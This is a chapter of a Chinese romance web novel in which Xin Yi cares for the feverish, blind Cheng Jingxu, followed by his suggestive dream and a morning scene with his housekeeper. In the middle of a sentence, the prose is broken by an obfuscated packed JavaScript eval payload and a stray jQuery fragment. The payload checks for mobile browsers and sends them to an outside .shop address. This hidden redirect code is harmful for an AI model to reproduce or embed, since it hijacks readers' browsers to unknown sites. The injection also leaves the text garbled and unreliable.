程京序仰面朝天躺在沙发上，长腿歪斜地垂在地上，脚上拖鞋掉了一只，落在不远处。
不知是身体还是躺姿令他不舒服，他胸膛持续起伏，鸦青睫毛频频颤动，眉心拧起浅浅纹路。
辛意看着他没有血色的脸，思考要不要叫救护车。她绕过茶几到另一头，来到他脑袋后方，俯下身，掌心覆盖他的额头。
没有想象中的烫手，甚至有一丝冰凉。
她不记得是在哪本书上看到的，如果出现寒战期，预示之后会烧得更高。
辛意半蹲在地上，捡起他垂落在地的右手，指骨坚硬，如同捡了一块冰，只不过他的肤感细滑柔软，仿佛上好的真丝绸缎。
辛意眼神一凛，蜷了蜷微微发麻的指尖。
她竟然趁程先生意识不清摸了他的额头和手。
由于低头的姿势，头顶一缕发丝落下来，发梢扫过男人的脸。
辛意心惊肉跳地抻起脑袋，如瀑布般的淡金长发在空气里荡起半弧。
闭着眼的男人不适地拧起眉心。
“哥哥……”她轻轻唤。男人动了动薄薄的眼皮，说明他听见她的声音了。
“家里有退烧药吗？”她问。
“偏厅……柜子……”男人有些灰淡的唇轻微开阖。
声音太轻了。
“哪里？”她掖住头发，左耳凑到他嘴唇正上方。
“……三，三层……”
“偏厅，柜子，三层。”辛意整理出关键词复述一遍，抬头瞥见东边靠墙的两三米长的棕红胡桃木墙柜。
应该是它了。
“对……”程京序英俊的脸皱成一团，“头好疼。”
辛意扶了下膝盖起身，要去取药，可刚起了一半，小臂被男人伸来的大手一把箍住，冰冷带着戒备的沙哑嗓音响起：
“你是谁？”
话语刚吐出口，他猛然一拽，她的重心本就偏后，受不住这股力道，被拽得半转身，向斜前方扑去。
眼睁睁看着男人睁开狭长深邃的眼睛，眼睁睁看着自己的唇压在了他微开的红润薄唇上。
时间刹那静止。
她双膝撞在地上，双手徒然攥着沙发边缘，指尖泛出青白色。
两个鼻梁紧贴，炙热的呼吸交缠到一块，近到连余光都没有。
清冽微苦的烟气混合着雪松清香，被她吸入鼻腔，瞬间冲进了肺叶。
潮润的气流自她紧闭的唇缝里渡入，她清楚地看见男人黑洞似的双眸顷刻被点亮。
辛意猝然抬头，还未完全起身就着急往后退，结果重重地摔了一个屁股蹲。
顾不上尾椎传上来的疼痛，她手脚并用地逃到墙柜和墙的夹缝中，活像一只被吓破了胆的猫咪。
沙发皮面发出嘎吱声，程京序撑着沙发起身，空洞的眼珠慢慢地转动，像是在环顾屋子。
他腾出右手，指腹揉捻自己的下唇：“刚才……怎么回事？”
辛意手指抠着地面，细末声响招来了男人黑沉的视线：“……谁？”
她旋即停下手指动作，眼前全是刚才意外发生的画面，耳根、脸颊烧了起来，改为咬住下唇。
好丢人啊……
程京序的长指抚过沙发边缘，通过皮面设计风格，判断出自己仍是在偏厅。
继而他放下双腿，穿着袜子的脚踩在冰凉的大理石地面上。
有人在这间屋子里，他能感觉到那人灼灼的注视，以及一股柑橘香气徘徊在鼻尖附近。
又是一阵头疼欲裂，晕感并未减轻，程京序的臀部刚抬离沙发又重重地坐了回去。
“程先生！”
辛意见状急喊出声，三步并作两步来到程京序面前：“是我，屋里只有我。”她不知道自己为什么这么说，因为她根本没多余的脑子去思考其他。
——
程京序端坐在沙发上，听着辛意轻巧的脚步声进了厨房。很快她倒了一杯白水，脚步声回到他身边。
少女弯下身，气流微微变化，细柔的声音响在他上方不远处：“哥哥，水来了。”
程京序微微抬起右手，杯底轻碰了下他的指尖，他一把将其握住。
“谢谢。”
辛意打开药盒，摁出一粒退烧药，放入程京序闻声摊开的左手掌心。他将药塞入口中，喝一口温水送服进去。
白色药盒半透明，可见三层分隔，最下层有前几天她网购的敷贴和消毒水，盯着剩余三分之二的消毒水，她没来由地高兴。
药盒归到原味，关上盖子，扣上两边的卡扣，啪嗒两声脆响同步想起。
辛意正要将药箱拿过去放好，程京序忽然开口：“辛意，不早了，你明儿个上班吗？”
辛意转眸，视线稍偏下，正撞上男人那双黑瞳。他脸上没什么多余的表情，但语气温温的，带一丝兄长般的关心。
她很羡慕裴明屿有个大了他十二岁、如兄如父般关爱他的大哥，那时候辛意并不知道裴明屿口中的大哥正是程先生。
“明天周日，我放假呢，哥哥。”辛意回答他，杏眼弯成月牙状，“但我下午要和同——同事出去逛街。”
“那早点休息。”程京序说。
之后两人各自回了房间。辛意不觉得困，静立在落地窗前，回想刚才给程先生送药、目睹他晕倒的场景。
他倾斜着摔下去那刹，她的心脏都跳到了喉咙口，幸而……是摔进沙发里，没有什么大碍。
裴明屿说过，程先生小学毕业就去了德国，若是没有一年前的车祸，他至少还要再待两年。
虽然身边有管家、佣人，但不在父母身边长大的孩子终归更独立些，习惯自己照顾自己，便不习惯被人照顾。
辛意去看玻璃窗上倒映清晰的自己，一身长袖纯棉米白色睡衣套装，纤细的腰身藏在宽大的上衣里面，胸口位置有只可爱的小黄鸭。
她其实不喜欢可爱风格的任何东西，买这套家居服纯粹是那天路过商业街的内衣店，闭店清仓29.9一套，款式可挑选的不多，但比购物网站上还便宜，她直接买了四套。
困意说来就来，辛意掩嘴打了个哈欠，走回去爬到床上，关掉顶灯开关，一沾上枕头就睡着了。
而一墙之隔的程京序才刚洗完澡出来，深灰色翻领真丝两件套，几乎与黑漆漆的房间相融。
他坐到床侧，神情木然地发了好一会儿呆，方才拉开轻薄的蚕丝被，躺进被窝里。
失明这一年，失眠成了常态。一开始因为分不清白天黑夜，后来则由于焦虑到难以入眠，严重时需要服用褪黑素。
今儿个大概是因为身体不适，他犯了困，没多久便进入了深度睡眠。
直到——
房间门被外面的人拧下门把打开，紧接着那人踩着轻盈的脚步走进来，犹如花丛里翩跹的蝴蝶，几步停在了他的床尾。
他闻到了清甜的柑橘香，里面掺了一丝酸，却给这间死气沉沉的屋子注入了鲜活。
程京序双臂撑住床铺坐了起来，他看见床尾站着一个个子高挑、纤薄、长发披肩的少女。虽然只是个黑色身形轮廓，但可以想象出她的美丽。
“哥哥。”少女绕过床尾，席梦思轻微塌陷了一两公分，她坐到了床侧，抬起精致的下巴注视他的眼睛。
她很喜欢盯着他的眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679983|207653||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看，有不加掩饰的好奇，似乎还有怜悯……
程京序滚了滚喉咙，哑声问：“辛意……睡不着吗？”
少女踢掉鞋子爬上床，突然扑上他的身，细长的手臂自他手臂下方穿过去，在他陡然僵硬的背上收紧。
“哥哥，我害怕，打雷了。”
她在颤抖，将巴掌大的脸埋进他的脖颈间，柔软的发丝来回摩挲他的下颌，带起一阵阵难以言喻的痒。
馥郁的柑橘香被他一次接一次地用力呼吸，吸进肺里，只须臾便将腹腔填满，且不断地膨胀。
当她柔软温热的唇轻碾过他的下颌线，停在他耳垂下方，他没忍住闷哼出声。她挑逗似的含了含他发热的耳垂，他终于不受控制地战栗起来。
大掌撑托住她后仰的后脑勺，指尖穿过发缝往前一送，他俯首，这个吻落在了她的鼻梁上。
辛意。
辛意。
另一条手臂自她上衣下摆探进，覆住她柔韧曼妙的侧腰线。
他的吻自她的鼻梁碾转到她的眼皮，吻过她每一寸肌肤，自上而下，又吻她的唇角、下巴，最后停在她紧闭的唇瓣上。
他不高兴地抬起头，不解：“为什么闭着？”
少女轻轻一笑，笑声娇软：“哥哥，您真的要跟我舌吻吗？”
如遭电击，他整个人僵在原地，仿佛变成了一尊石像。
“轰隆——”
静谧旖旎的夜晚被毫无征兆的雷响打破。
闪电划过天际，照亮了整间卧室和猝然坐起身的男人。
瞬息即过。
卧室里重归灰暗，沉重急促的呼吸声似密集的鼓点。
隐隐可见男人苍白惊措的脸色和额头上分布着细细密密的汗珠。
“怎么会……怎么会……”程京序垂下头颅，鬓角落下一滴汗水，顺着颤抖的脸颊滑落，滴在他的手背上。
他难以启齿地喃语：“梦，怎么会……做这种梦……”
——
翌日，东边日出，天际浅露鱼肚白。
程京序被抽屉里的私人手机震醒。
他长臂伸出被子，摸索到拉环，拉开抽屉，取出里面的手机。
仍然闭着眼睛，他划屏进入微信，点开和王阿姨的聊天界面。
他点开这条语音。
王阿姨：【程先生，本来我六点到您家做早饭的，我孙女今天生日，十岁生日我们老家过得比较隆重，所有亲戚朋友都来了。对不起程先生，昨天我没告诉您。我的小姐妹也做了五六年保洁，她愿意替我来为您服务一天，实在对不起。】
程京序撑开眼皮，握拳敲了敲还有些胀痛的额头，发过去一条语音：
【其一：昨天你要是提前告诉我，我可以做其他安排。其二：第六十二条服务事项里明确规定，你不可以带任何人到我家里来。】
语音发出去不到半分钟，王阿姨的电话就打了过来。
程京序放到耳边接听，那头王阿姨先道歉，又保证自己不会再犯，说她马上就过来。
“不用来了。”
那头声音戛然而止。
程京序顿了一下，语气里没有情绪：“下次有什么事，提前说。我不希望再遇到这种情况。”
结束通话，程京序坐起来想了想，然后找到程云舟的微信，给他发去一条：【今天不必来了，身体不适。】
那头可能还在睡，程京序等了十分钟左右，对方仍然没回，他将手机放回抽屉，接着躺回去睡觉。
这一觉睡到了北京时间八点整。他进卫生间洗漱完后，换了身衣裳，走出卧室，就听见辛意在客厅里咕哝着喊好饿。